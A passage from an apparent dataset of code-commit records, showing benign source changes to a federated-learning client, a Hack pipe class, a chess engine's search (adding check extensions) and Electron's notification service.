governing permissions and\n * limitations under the License.\n *\/\n\n#include <fstream>\n#include <optional>\n#include <string>\n#include <utility>\n\n\n#include \"absl\/flags\/flag.h\"\n#include \"absl\/flags\/parse.h\"\n#include \"absl\/flags\/usage.h\"\n#include \"absl\/status\/status.h\"\n#include \"absl\/status\/statusor.h\"\n#include \"absl\/strings\/str_split.h\"\n#include \"fcp\/base\/monitoring.h\"\n#include \"fcp\/client\/client_runner.h\"\n#include \"fcp\/client\/client_runner_example_data.pb.h\"\n#include \"fcp\/client\/fake_event_publisher.h\"\n#include \"fcp\/client\/fl_runner.h\"\n\nABSL_FLAG(std::string, server, \"\",\n \"Federated Server URI (supports https+test:\/\/ and https:\/\/ URIs\");\nABSL_FLAG(std::string, api_key, \"\", \"API Key\");\nABSL_FLAG(std::string, test_cert, \"\",\n \"Path to test CA certificate PEM file; used for https+test:\/\/ URIs\");\nABSL_FLAG(std::string, session, \"\", \"Session name\");\nABSL_FLAG(std::string, population, \"\", \"Population name\");\nABSL_FLAG(std::string, retry_token, \"\", \"Retry token\");\nABSL_FLAG(std::string, client_version, \"\", \"Client version\");\nABSL_FLAG(std::string, attestation_string, \"\", \"Attestation string\");\nABSL_FLAG(std::string, example_data_path, \"\",\n \"Path to a serialized ClientRunnerExampleData proto with client \"\n \"example data. Falls back to --num_empty_examples if unset.\");\nABSL_FLAG(int, num_empty_examples, 0,\n \"Number of (empty) examples each created iterator serves. Ignored if \"\n \"--example_store_path is set.\");\nABSL_FLAG(int, num_rounds, 1, \"Number of rounds to train\");\nABSL_FLAG(int, sleep_after_round_secs, 3,\n \"Number of seconds to sleep after each round.\");\nABSL_FLAG(bool, use_http_federated_compute_protocol, false,\n \"Whether to enable the HTTP FederatedCompute protocol instead \"\n \"of the gRPC FederatedTrainingApi protocol.\");\n\nstatic constexpr char kUsageString[] =\n \"Stand-alone Federated Client Executable.\\n\\n\"\n \"Connects to the specified server, tries to retrieve a plan, run the\\n\"\n \"plan (feeding the specified number of empty examples), and report the\\n\"\n \"results of the computation back to the server.\";\n\nstatic absl::StatusOr<fcp::client::ClientRunnerExampleData> LoadExampleData(\n const std::string& examples_path) {\n std::ifstream examples_file(examples_path);\n fcp::client::ClientRunnerExampleData data;\n if (!data.ParseFromIstream(&examples_file) || !examples_file.eof()) {\n return absl::InvalidArgumentError(\n \"Failed to parse ClientRunnerExampleData\");\n }\n return data;\n}\n\nint main(int argc, char** argv) {\n absl::SetProgramUsageMessage(kUsageString);\n absl::ParseCommandLine(argc, argv);\n\n int num_rounds = absl::GetFlag(FLAGS_num_rounds);\n std::string server = absl::GetFlag(FLAGS_server);\n std::string session = absl::GetFlag(FLAGS_session);\n std::string population = absl::GetFlag(FLAGS_population);\n std::string client_version = absl::GetFlag(FLAGS_client_version);\n std::string test_cert = absl::GetFlag(FLAGS_test_cert);\n FCP_LOG(INFO) << \"Running for \" << num_rounds << \" rounds:\";\n FCP_LOG(INFO) << \" - server: \" << server;\n FCP_LOG(INFO) << \" - session: \" << session;\n FCP_LOG(INFO) << \" - population: \" << population;\n FCP_LOG(INFO) << \" - client_version: \" << client_version;\n\n std::optional<fcp::client::ClientRunnerExampleData> example_data;\n if (std::string path = absl::GetFlag(FLAGS_example_data_path);\n !path.empty()) {\n auto statusor = LoadExampleData(path);\n if (!statusor.ok()) {\n FCP_LOG(ERROR) << \"Failed to load example data: \" << statusor.status();\n return 1;\n }\n example_data = *std::move(statusor);\n }\n\n bool success = false;\n for (auto i = 0; i < num_rounds || num_rounds < 0; ++i) {\n fcp::client::FederatedTaskEnvDepsImpl federated_task_env_deps_impl =\n example_data ? fcp::client::FederatedTaskEnvDepsImpl(\n *std::move(example_data), test_cert)\n : fcp::client::FederatedTaskEnvDepsImpl(\n absl::GetFlag(FLAGS_num_empty_examples), test_cert);\n fcp::client::FakeEventPublisher event_publisher(\/*quiet=*\/false);\n fcp::client::FilesImpl files_impl;\n fcp::client::LogManagerImpl log_manager_impl;\n fcp::client::FlagsImpl flags;\n flags.set_use_http_federated_compute_protocol(\n absl::GetFlag(FLAGS_use_http_federated_compute_protocol));\n\n auto fl_runner_result = RunFederatedComputation(\n &federated_task_env_deps_impl, &event_publisher, &files_impl,\n &log_manager_impl, &flags, server, absl::GetFlag(FLAGS_api_key),\n test_cert, session, population, absl::GetFlag(FLAGS_retry_token),\n client_version, absl::GetFlag(FLAGS_attestation_string));\n if (fl_runner_result.ok()) {\n FCP_LOG(INFO) << \"Run finished successfully; result: \"\n << fl_runner_result.value().DebugString();\n success = true;\n } else {\n FCP_LOG(ERROR) << \"Error during run: \" << fl_runner_result.status();\n }\n int sleep_secs = absl::GetFlag(FLAGS_sleep_after_round_secs);\n FCP_LOG(INFO) << \"Sleeping for \" << sleep_secs << \" secs\";\n absl::SleepFor(absl::Seconds(sleep_secs));\n }\n return success ? 0 : 1;\n}\n<|endoftext|>"} {"text":"<commit_before><?hh \/\/ strict\n\nnamespace hhpack\\process;\n\nfinal class Pipe\n{\n\n private BufferedOutput $bufferedOutput;\n\n public function __construct(\n private resource $handle\n )\n {\n $this->bufferedOutput = new BufferedOutput();\n }\n\n public function eof() : bool\n {\n return feof($this->handle);\n }\n\n public function read(int $length) : void\n {\n $chunk = fread($this->handle, $length);\n $this->bufferedOutput->append($chunk);\n }\n\n public function getOutput() : BufferedOutput\n {\n return $this->bufferedOutput;\n }\n\n public function close() : void\n {\n fclose($this->handle);\n }\n\n}\n<commit_msg>Remove old source<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\nMIT License\n\nCopyright (c) 2017 CPirc\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <chrono>\n#include <cinttypes>\n#include <vector>\n#include <algorithm> \/\/ std::reverse\n\n#include \"eval.h\"\n#include \"move.h\"\n#include \"position.h\"\n#include \"search.h\"\n\n#define INF (30000)\n\n\/* MVV\/LVA *\/\nint mvv_lva(const Position& pos, Move m)\n{\n Piece from = get_piece_on_square(pos, from_square(m));\n Piece dest = get_piece_on_square(pos, to_square(m));\n\n return piecevals[OPENING][dest] - from;\n}\n\n\/* Score a SearchStack. *\/\nvoid score_moves(const Position& pos, SearchStack* ss, int size)\n{\n for (int i = 0; i < size; i++) {\n Move move = ss->ml[i];\n int mt = move_type(move);\n if (mt == CAPTURE)\n ss->score[i] = mvv_lva(pos, move);\n else if (mt == PROM_CAPTURE)\n ss->score[i] = mvv_lva(pos, move) + piecevals[OPENING][promotion_type(move)];\n else if (mt == ENPASSANT)\n ss->score[i] = piecevals[OPENING][PAWN] - PAWN + 10;\n else\n ss->score[i] = 0;\n }\n}\n\n\/* Return the best move from the search stack *\/\nMove next_move(SearchStack* ss, int& size)\n{\n if (!size)\n return 0;\n\n \/\/ Find best move index\n int best_index = 0;\n for (int i = 1; i < size; ++i) {\n if (ss->score[i] > ss->score[best_index]) {\n best_index = i;\n }\n }\n\n \/\/ Store the best move to return\n Move best_move = ss->ml[best_index];\n\n \/\/ Reduce ml\/score size\n --size;\n\n \/\/ Bring the last move to current index\n ss->ml[best_index] = ss->ml[size];\n ss->score[best_index] = ss->score[size];\n\n return best_move;\n}\n\n\/* Quiescence alpha-beta search a search leaf node to reduce the horizon effect. *\/\nint quiesce(SearchController& sc, Position& pos, int alpha, int beta, SearchStack* ss)\n{\n if (ss->ply >= MAX_PLY) {\n return evaluate(pos);\n }\n\n \/\/ Check time left\n clock_t current_time = clock() * 1000 \/ CLOCKS_PER_SEC;\n if (current_time >= sc.search_end_time) {\n return 0;\n }\n\n int movecount, value;\n\n value = evaluate(pos);\n if (value >= beta)\n return beta;\n\n if (value > alpha)\n alpha = value;\n\n movecount = generate_captures(pos, ss->ml);\n\n ++ss->stats->node_count;\n\n score_moves(pos, ss, movecount);\n\n Move move;\n while ((move = next_move(ss, movecount))) {\n\n Position npos = pos;\n\n make_move(npos, move);\n if (is_checked(npos, THEM)) {\n continue;\n }\n\n value = -quiesce(sc, npos, -beta, -alpha, ss + 1);\n\n if (value >= beta) {\n return beta;\n }\n if (value > alpha) {\n alpha = value;\n }\n }\n\n return alpha;\n}\n\n\/* Alpha-Beta search a position to return a score. *\/\nint search(SearchController& sc, Position& pos, int depth, int alpha, int beta, SearchStack* ss, PV& pv)\n{\n if (depth <= 0) {\n return quiesce(sc, pos, alpha, beta, ss);\n }\n\n if (ss->ply >= MAX_PLY) {\n return evaluate(pos);\n }\n\n \/\/ Check time left\n clock_t current_time = clock() * 1000 \/ CLOCKS_PER_SEC;\n if (ss->ply && current_time >= sc.search_end_time) {\n return 0;\n }\n\n \/\/ Update info\n if (ss->stats->node_count%1048576 == 0) {\n if (current_time > sc.search_start_time) {\n printf(\"info nps %\" PRIu64 \"\\n\", 1000*(ss->stats->node_count)\/(current_time - sc.search_start_time));\n }\n }\n\n int movecount, value;\n const bool in_check = is_checked(pos, US);\n movecount = generate(pos, ss->ml);\n\n ++ss->stats->node_count;\n\n score_moves(pos, ss, movecount);\n\n int legal_moves = 0;\n int best_value = -INF;\n\n Move move;\n PV child_pv;\n while ((move = next_move(ss, movecount))) {\n\n child_pv.clear();\n Position npos = pos;\n\n make_move(npos, move);\n if (is_checked(npos, THEM)) {\n continue;\n }\n\n ++legal_moves;\n\n value = -search(sc, npos, depth - 1, -beta, -alpha, ss + 1, child_pv);\n\n if (value >= beta) {\n#ifdef TESTING\n ++ss->stats->fail_highs;\n if (legal_moves == 1)\n ++ss->stats->first_move_fail_highs;\n#endif\n return beta;\n }\n if (value > best_value) {\n best_value = value;\n child_pv.push_back(move);\n pv = std::move(child_pv);\n if (value > alpha) {\n alpha = value;\n }\n }\n }\n\n if (!legal_moves) {\n if (in_check)\n return -INF + ss->ply;\n else\n return 0;\n }\n\n#ifdef TESTING\n if (!ss->ply) {\n printf(\"info string ordering = %lf\\n\", double(ss->stats->first_move_fail_highs) \/ ss->stats->fail_highs);\n }\n#endif\n\n return alpha;\n}\n\n\/* Reset the stats object to 0 so we can start recording *\/\nvoid clear_stats(Stats& stats)\n{\n stats.node_count = 0;\n#ifdef TESTING\n stats.fail_highs = 0;\n stats.first_move_fail_highs = 0;\n#endif\n}\n\n\/* Reset the search stack to default values *\/\nvoid clear_ss(SearchStack* ss, int size)\n{\n for (std::uint8_t i = 0; i < size; ++i, ++ss) {\n ss->ply = i;\n }\n}\n\n\/* Set the Stats pointer for all ply after 'stats' *\/\nvoid set_stats(SearchStack* ss, Stats& stats)\n{\n SearchStack* end = ss - ss->ply + MAX_PLY;\n for (; ss < end; ++ss) {\n ss->stats = &stats;\n }\n}\n\n\/* Start searching a position and return the best move *\/\nMove start_search(SearchController& sc)\n{\n Stats stats;\n SearchStack ss[MAX_PLY];\n std::chrono::time_point<std::chrono::high_resolution_clock> start, end;\n\n clear_stats(stats);\n clear_ss(ss, MAX_PLY);\n\n set_stats(ss, stats);\n\n \/* Timing *\/\n sc.search_start_time = 1000 * clock() \/ CLOCKS_PER_SEC;\n\n if (sc.movetime) {\n sc.search_end_time = sc.movetime\/2;\n } else if (sc.moves_per_session) {\n sc.search_end_time = sc.our_clock\/sc.moves_per_session + sc.increment;\n } else {\n sc.search_end_time = sc.our_clock\/40 + sc.increment;\n }\n\n sc.search_end_time += sc.search_start_time;\n\n char mstr[6];\n Move best_move;\n int best_score = -INF;\n PV pv, depth_pv, child_pv;\n\n \/* Iterative deepening *\/\n for (std::uint32_t depth = 1; depth < sc.max_depth; ++depth) {\n\n int beta = INF;\n int alpha = -INF;\n\n int depth_best_score = search(sc, sc.pos, depth, alpha, beta, ss, depth_pv);\n\n \/\/ Check time used\n clock_t time_used = clock() * 1000 \/ CLOCKS_PER_SEC - sc.search_start_time;\n\n \/\/ See if we ran out of time\n if (depth > 1 && time_used >= sc.search_end_time - sc.search_start_time) {\n break;\n }\n\n \/\/ Only update the best pv if we didn't run out of time\n \/\/ It needs reversing due to the last in first out nature of push_back()\n pv = depth_pv;\n std::reverse(pv.begin(), pv.end());\n\n best_score = depth_best_score;\n\n \/\/ Update info\n printf(\"info score cp %i depth %i nodes %\" PRIu64 \" time %lu pv \", best_score, depth, stats.node_count, time_used);\n bool flipped = sc.pos.flipped;\n for (Move move : pv) {\n if (flipped) {\n move = flip_move(move);\n }\n move_to_lan(mstr, move);\n printf(\"%s \", mstr);\n flipped ^= 1;\n }\n printf(\"\\n\");\n }\n\n if (pv.size() >= 1) {\n best_move = pv[0];\n if (sc.pos.flipped) {\n best_move = flip_move(best_move);\n }\n move_to_lan(mstr, best_move);\n\n printf(\"bestmove %s\\n\", mstr);\n } else {\n printf(\"bestmove 0000\\n\");\n }\n\n return (Move)0;\n}\n\nvoid search_thread(void* params)\n{\n SearchController *sc = (SearchController*)params;\n start_search(*sc);\n}\n<commit_msg>Added check extensions<commit_after>\/*\nMIT License\n\nCopyright (c) 2017 CPirc\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <chrono>\n#include <cinttypes>\n#include <vector>\n#include <algorithm> \/\/ std::reverse\n\n#include \"eval.h\"\n#include \"move.h\"\n#include \"position.h\"\n#include \"search.h\"\n\n#define INF (30000)\n\n\/* MVV\/LVA *\/\nint mvv_lva(const Position& pos, Move m)\n{\n Piece from = get_piece_on_square(pos, from_square(m));\n Piece dest = get_piece_on_square(pos, to_square(m));\n\n return piecevals[OPENING][dest] - from;\n}\n\n\/* Score a SearchStack. *\/\nvoid score_moves(const Position& pos, SearchStack* ss, int size)\n{\n for (int i = 0; i < size; i++) {\n Move move = ss->ml[i];\n int mt = move_type(move);\n if (mt == CAPTURE)\n ss->score[i] = mvv_lva(pos, move);\n else if (mt == PROM_CAPTURE)\n ss->score[i] = mvv_lva(pos, move) + piecevals[OPENING][promotion_type(move)];\n else if (mt == ENPASSANT)\n ss->score[i] = piecevals[OPENING][PAWN] - PAWN + 10;\n else\n ss->score[i] = 0;\n }\n}\n\n\/* Return the best move from the search stack *\/\nMove next_move(SearchStack* ss, int& size)\n{\n if (!size)\n return 0;\n\n \/\/ Find best move index\n int best_index = 0;\n for (int i = 1; i < size; ++i) {\n if (ss->score[i] > ss->score[best_index]) {\n best_index = i;\n }\n }\n\n \/\/ Store the best move to return\n Move best_move = ss->ml[best_index];\n\n \/\/ Reduce ml\/score size\n --size;\n\n \/\/ Bring the last move to current index\n ss->ml[best_index] = ss->ml[size];\n ss->score[best_index] = ss->score[size];\n\n return best_move;\n}\n\n\/* Quiescence alpha-beta search a search leaf node to reduce the horizon effect. *\/\nint quiesce(SearchController& sc, Position& pos, int alpha, int beta, SearchStack* ss)\n{\n if (ss->ply >= MAX_PLY) {\n return evaluate(pos);\n }\n\n \/\/ Check time left\n clock_t current_time = clock() * 1000 \/ CLOCKS_PER_SEC;\n if (current_time >= sc.search_end_time) {\n return 0;\n }\n\n int movecount, value;\n\n value = evaluate(pos);\n if (value >= beta)\n return beta;\n\n if (value > alpha)\n alpha = value;\n\n movecount = generate_captures(pos, ss->ml);\n\n ++ss->stats->node_count;\n\n score_moves(pos, ss, movecount);\n\n Move move;\n while ((move = next_move(ss, movecount))) {\n\n Position npos = pos;\n\n make_move(npos, move);\n if (is_checked(npos, THEM)) {\n continue;\n }\n\n value = -quiesce(sc, npos, -beta, -alpha, ss + 1);\n\n if (value >= beta) {\n return beta;\n }\n if (value > alpha) {\n alpha = value;\n }\n }\n\n return alpha;\n}\n\n\/* Alpha-Beta search a position to return a score. *\/\nint search(SearchController& sc, Position& pos, int depth, int alpha, int beta, SearchStack* ss, PV& pv)\n{\n const bool in_check = is_checked(pos, US);\n\n \/\/ Check extensions\n if (in_check)\n depth++;\n\n if (depth <= 0) {\n return quiesce(sc, pos, alpha, beta, ss);\n }\n\n if (ss->ply >= MAX_PLY) {\n return evaluate(pos);\n }\n\n \/\/ Check time left\n clock_t current_time = clock() * 1000 \/ CLOCKS_PER_SEC;\n if (ss->ply && current_time >= sc.search_end_time) {\n return 0;\n }\n\n \/\/ Update info\n if (ss->stats->node_count%1048576 == 0) {\n if (current_time > sc.search_start_time) {\n printf(\"info nps %\" PRIu64 \"\\n\", 1000*(ss->stats->node_count)\/(current_time - sc.search_start_time));\n }\n }\n\n int movecount, value;\n movecount = generate(pos, ss->ml);\n\n ++ss->stats->node_count;\n\n score_moves(pos, ss, movecount);\n\n int legal_moves = 0;\n int best_value = -INF;\n\n Move move;\n PV child_pv;\n while ((move = next_move(ss, movecount))) {\n\n child_pv.clear();\n Position npos = pos;\n\n make_move(npos, move);\n if (is_checked(npos, THEM)) {\n continue;\n }\n\n ++legal_moves;\n\n value = -search(sc, npos, depth - 1, -beta, -alpha, ss + 1, child_pv);\n\n if (value >= beta) {\n#ifdef TESTING\n ++ss->stats->fail_highs;\n if (legal_moves == 1)\n ++ss->stats->first_move_fail_highs;\n#endif\n return beta;\n }\n if (value > best_value) {\n best_value = value;\n child_pv.push_back(move);\n pv = std::move(child_pv);\n if (value > alpha) {\n alpha = value;\n }\n }\n }\n\n if (!legal_moves) {\n if (in_check)\n return -INF + ss->ply;\n else\n return 0;\n }\n\n#ifdef TESTING\n if (!ss->ply) {\n printf(\"info string ordering = %lf\\n\", double(ss->stats->first_move_fail_highs) \/ ss->stats->fail_highs);\n }\n#endif\n\n return alpha;\n}\n\n\/* Reset the stats object to 0 so we can start recording *\/\nvoid clear_stats(Stats& stats)\n{\n stats.node_count = 0;\n#ifdef TESTING\n stats.fail_highs = 0;\n stats.first_move_fail_highs = 0;\n#endif\n}\n\n\/* Reset the search stack to default values *\/\nvoid clear_ss(SearchStack* ss, int size)\n{\n for (std::uint8_t i = 0; i < size; ++i, ++ss) {\n ss->ply = i;\n }\n}\n\n\/* Set the Stats pointer for all ply after 'stats' *\/\nvoid set_stats(SearchStack* ss, Stats& stats)\n{\n SearchStack* end = ss - ss->ply + MAX_PLY;\n for (; ss < end; ++ss) {\n ss->stats = &stats;\n }\n}\n\n\/* Start searching a position and return the best move *\/\nMove start_search(SearchController& sc)\n{\n Stats stats;\n SearchStack ss[MAX_PLY];\n std::chrono::time_point<std::chrono::high_resolution_clock> start, end;\n\n clear_stats(stats);\n clear_ss(ss, MAX_PLY);\n\n set_stats(ss, stats);\n\n \/* Timing *\/\n sc.search_start_time = 1000 * clock() \/ CLOCKS_PER_SEC;\n\n if (sc.movetime) {\n sc.search_end_time = sc.movetime\/2;\n } else if (sc.moves_per_session) {\n sc.search_end_time = sc.our_clock\/sc.moves_per_session + sc.increment;\n } else {\n sc.search_end_time = sc.our_clock\/40 + sc.increment;\n }\n\n sc.search_end_time += sc.search_start_time;\n\n char mstr[6];\n Move best_move;\n int best_score = -INF;\n PV pv, depth_pv, child_pv;\n\n \/* Iterative deepening *\/\n for (std::uint32_t depth = 1; depth < sc.max_depth; ++depth) {\n\n int beta = INF;\n int alpha = -INF;\n\n int depth_best_score = search(sc, sc.pos, depth, alpha, beta, ss, depth_pv);\n\n \/\/ Check time used\n clock_t time_used = clock() * 1000 \/ CLOCKS_PER_SEC - sc.search_start_time;\n\n \/\/ See if we ran out of time\n if (depth > 1 && time_used >= sc.search_end_time - sc.search_start_time) {\n break;\n }\n\n \/\/ Only update the best pv if we didn't run out of time\n \/\/ It needs reversing due to the last in first out nature of push_back()\n pv = depth_pv;\n std::reverse(pv.begin(), pv.end());\n\n best_score = depth_best_score;\n\n \/\/ Update info\n printf(\"info score cp %i depth %i nodes %\" PRIu64 \" time %lu pv \", best_score, depth, stats.node_count, time_used);\n bool flipped = sc.pos.flipped;\n for (Move move : pv) {\n if (flipped) {\n move = flip_move(move);\n }\n move_to_lan(mstr, move);\n printf(\"%s \", mstr);\n flipped ^= 1;\n }\n printf(\"\\n\");\n }\n\n if (pv.size() >= 1) {\n best_move = pv[0];\n if (sc.pos.flipped) {\n best_move = flip_move(best_move);\n }\n move_to_lan(mstr, best_move);\n\n printf(\"bestmove %s\\n\", mstr);\n } else {\n printf(\"bestmove 0000\\n\");\n }\n\n return (Move)0;\n}\n\nvoid search_thread(void* params)\n{\n SearchController *sc = (SearchController*)params;\n start_search(*sc);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE-CHROMIUM file.\n\n#include \"atom\/browser\/notifications\/platform_notification_service.h\"\n\n#include \"atom\/browser\/atom_browser_client.h\"\n#include \"atom\/browser\/notifications\/notification.h\"\n#include \"atom\/browser\/notifications\/notification_delegate.h\"\n#include \"atom\/browser\/notifications\/notification_presenter.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"content\/public\/browser\/notification_event_dispatcher.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"third_party\/blink\/public\/common\/notifications\/notification_resources.h\"\n#include \"third_party\/blink\/public\/common\/notifications\/platform_notification_data.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n\nnamespace atom {\n\nnamespace {\n\nvoid OnWebNotificationAllowed(base::WeakPtr<Notification> notification,\n const SkBitmap& icon,\n const blink::PlatformNotificationData& data,\n bool audio_muted,\n bool allowed) {\n if (!notification)\n return;\n if (allowed) {\n atom::NotificationOptions options;\n options.title = data.title;\n options.msg = data.body;\n options.tag = data.tag;\n options.icon_url = data.icon;\n options.icon = icon;\n options.silent = audio_muted ? true : data.silent;\n options.has_reply = false;\n notification->Show(options);\n } else {\n notification->Destroy();\n }\n}\n\nclass NotificationDelegateImpl final : public atom::NotificationDelegate {\n public:\n explicit NotificationDelegateImpl(const std::string& notification_id)\n : notification_id_(notification_id) {}\n\n void NotificationDestroyed() override { delete this; }\n\n void NotificationClick() override {\n content::NotificationEventDispatcher::GetInstance()\n ->DispatchNonPersistentClickEvent(notification_id_, base::DoNothing());\n }\n\n void NotificationClosed() override {\n content::NotificationEventDispatcher::GetInstance()\n ->DispatchNonPersistentCloseEvent(notification_id_, base::DoNothing());\n }\n\n void NotificationDisplayed() override {\n content::NotificationEventDispatcher::GetInstance()\n ->DispatchNonPersistentShowEvent(notification_id_);\n }\n\n private:\n std::string notification_id_;\n\n DISALLOW_COPY_AND_ASSIGN(NotificationDelegateImpl);\n};\n\n} \/\/ namespace\n\nPlatformNotificationService::PlatformNotificationService(\n AtomBrowserClient* browser_client)\n : browser_client_(browser_client) {}\n\nPlatformNotificationService::~PlatformNotificationService() {}\n\nvoid PlatformNotificationService::DisplayNotification(\n content::RenderProcessHost* render_process_host,\n content::BrowserContext* browser_context,\n const std::string& notification_id,\n const GURL& origin,\n const blink::PlatformNotificationData& notification_data,\n const blink::NotificationResources& notification_resources) {\n auto* presenter = browser_client_->GetNotificationPresenter();\n if (!presenter)\n return;\n NotificationDelegateImpl* delegate =\n new NotificationDelegateImpl(notification_id);\n auto notification = presenter->CreateNotification(delegate, notification_id);\n if (notification) {\n browser_client_->WebNotificationAllowed(\n render_process_host->GetID(),\n base::Bind(&OnWebNotificationAllowed, notification,\n notification_resources.notification_icon,\n notification_data));\n }\n}\n\nvoid PlatformNotificationService::DisplayPersistentNotification(\n content::BrowserContext* browser_context,\n const std::string& notification_id,\n const GURL& service_worker_scope,\n const GURL& origin,\n const blink::PlatformNotificationData& notification_data,\n const blink::NotificationResources& notification_resources) {}\n\nvoid PlatformNotificationService::ClosePersistentNotification(\n content::BrowserContext* browser_context,\n const std::string& notification_id) {}\n\nvoid PlatformNotificationService::CloseNotification(\n content::BrowserContext* browser_context,\n const std::string& notification_id) {\n auto* presenter = browser_client_->GetNotificationPresenter();\n if (!presenter)\n return;\n presenter->CloseNotificationWithId(notification_id);\n}\n\nvoid PlatformNotificationService::GetDisplayedNotifications(\n content::BrowserContext* browser_context,\n DisplayedNotificationsCallback callback) {}\n\nint64_t PlatformNotificationService::ReadNextPersistentNotificationId(\n content::BrowserContext* browser_context) {\n \/\/ Electron doesn't support persistent notifications.\n return 0;\n}\n\nvoid PlatformNotificationService::RecordNotificationUkmEvent(\n content::BrowserContext* browser_context,\n const content::NotificationDatabaseData& data) {}\n\nvoid PlatformNotificationService::ScheduleTrigger(\n BrowserContext* browser_context,\n base::Time timestamp) {}\n\nbase::Time PlatformNotificationService::ReadNextTriggerTimestamp(\n BrowserContext* browser_context) {\n return base::Time::Max();\n}\n\n} \/\/ namespace atom\n<commit_msg>chore: add missing content:: namespace for BrowserContext in PlatformNotificationService<commit_after>\/\/ Copyright (c) 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE-CHROMIUM file.\n\n#include \"atom\/browser\/notifications\/platform_notification_service.h\"\n\n#include \"atom\/browser\/atom_browser_client.h\"\n#include \"atom\/browser\/notifications\/notification.h\"\n#include \"atom\/browser\/notifications\/notification_delegate.h\"\n#include \"atom\/browser\/notifications\/notification_presenter.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"content\/public\/browser\/notification_event_dispatcher.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n#include \"third_party\/blink\/public\/common\/notifications\/notification_resources.h\"\n#include \"third_party\/blink\/public\/common\/notifications\/platform_notification_data.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n\nnamespace atom {\n\nnamespace {\n\nvoid OnWebNotificationAllowed(base::WeakPtr<Notification> notification,\n const SkBitmap& icon,\n const blink::PlatformNotificationData& data,\n bool audio_muted,\n bool allowed) {\n if (!notification)\n return;\n if (allowed) {\n atom::NotificationOptions options;\n options.title = data.title;\n options.msg = data.body;\n options.tag = data.tag;\n options.icon_url = data.icon;\n options.icon = icon;\n options.silent = audio_muted ? true : data.silent;\n options.has_reply = false;\n notification->Show(options);\n } else {\n notification->Destroy();\n }\n}\n\nclass NotificationDelegateImpl final : public atom::NotificationDelegate {\n public:\n explicit NotificationDelegateImpl(const std::string& notification_id)\n : notification_id_(notification_id) {}\n\n void NotificationDestroyed() override { delete this; }\n\n void NotificationClick() override {\n content::NotificationEventDispatcher::GetInstance()\n ->DispatchNonPersistentClickEvent(notification_id_, base::DoNothing());\n }\n\n void NotificationClosed() override {\n content::NotificationEventDispatcher::GetInstance()\n ->DispatchNonPersistentCloseEvent(notification_id_, base::DoNothing());\n }\n\n void NotificationDisplayed() override {\n content::NotificationEventDispatcher::GetInstance()\n ->DispatchNonPersistentShowEvent(notification_id_);\n }\n\n private:\n std::string notification_id_;\n\n DISALLOW_COPY_AND_ASSIGN(NotificationDelegateImpl);\n};\n\n} \/\/ namespace\n\nPlatformNotificationService::PlatformNotificationService(\n AtomBrowserClient* browser_client)\n : browser_client_(browser_client) {}\n\nPlatformNotificationService::~PlatformNotificationService() {}\n\nvoid PlatformNotificationService::DisplayNotification(\n content::RenderProcessHost* render_process_host,\n content::BrowserContext* browser_context,\n const std::string& notification_id,\n const GURL& origin,\n const blink::PlatformNotificationData& notification_data,\n const blink::NotificationResources& notification_resources) {\n auto* presenter = browser_client_->GetNotificationPresenter();\n if (!presenter)\n return;\n NotificationDelegateImpl* delegate =\n new NotificationDelegateImpl(notification_id);\n auto notification = presenter->CreateNotification(delegate, notification_id);\n if (notification) {\n browser_client_->WebNotificationAllowed(\n render_process_host->GetID(),\n base::Bind(&OnWebNotificationAllowed, notification,\n notification_resources.notification_icon,\n notification_data));\n }\n}\n\nvoid PlatformNotificationService::DisplayPersistentNotification(\n content::BrowserContext* browser_context,\n const std::string& notification_id,\n const GURL& service_worker_scope,\n const GURL& origin,\n const blink::PlatformNotificationData& notification_data,\n const blink::NotificationResources& notification_resources) {}\n\nvoid PlatformNotificationService::ClosePersistentNotification(\n content::BrowserContext* browser_context,\n const std::string& notification_id) {}\n\nvoid PlatformNotificationService::CloseNotification(\n content::BrowserContext* browser_context,\n const std::string& notification_id) {\n auto* presenter = browser_client_->GetNotificationPresenter();\n if (!presenter)\n return;\n presenter->CloseNotificationWithId(notification_id);\n}\n\nvoid 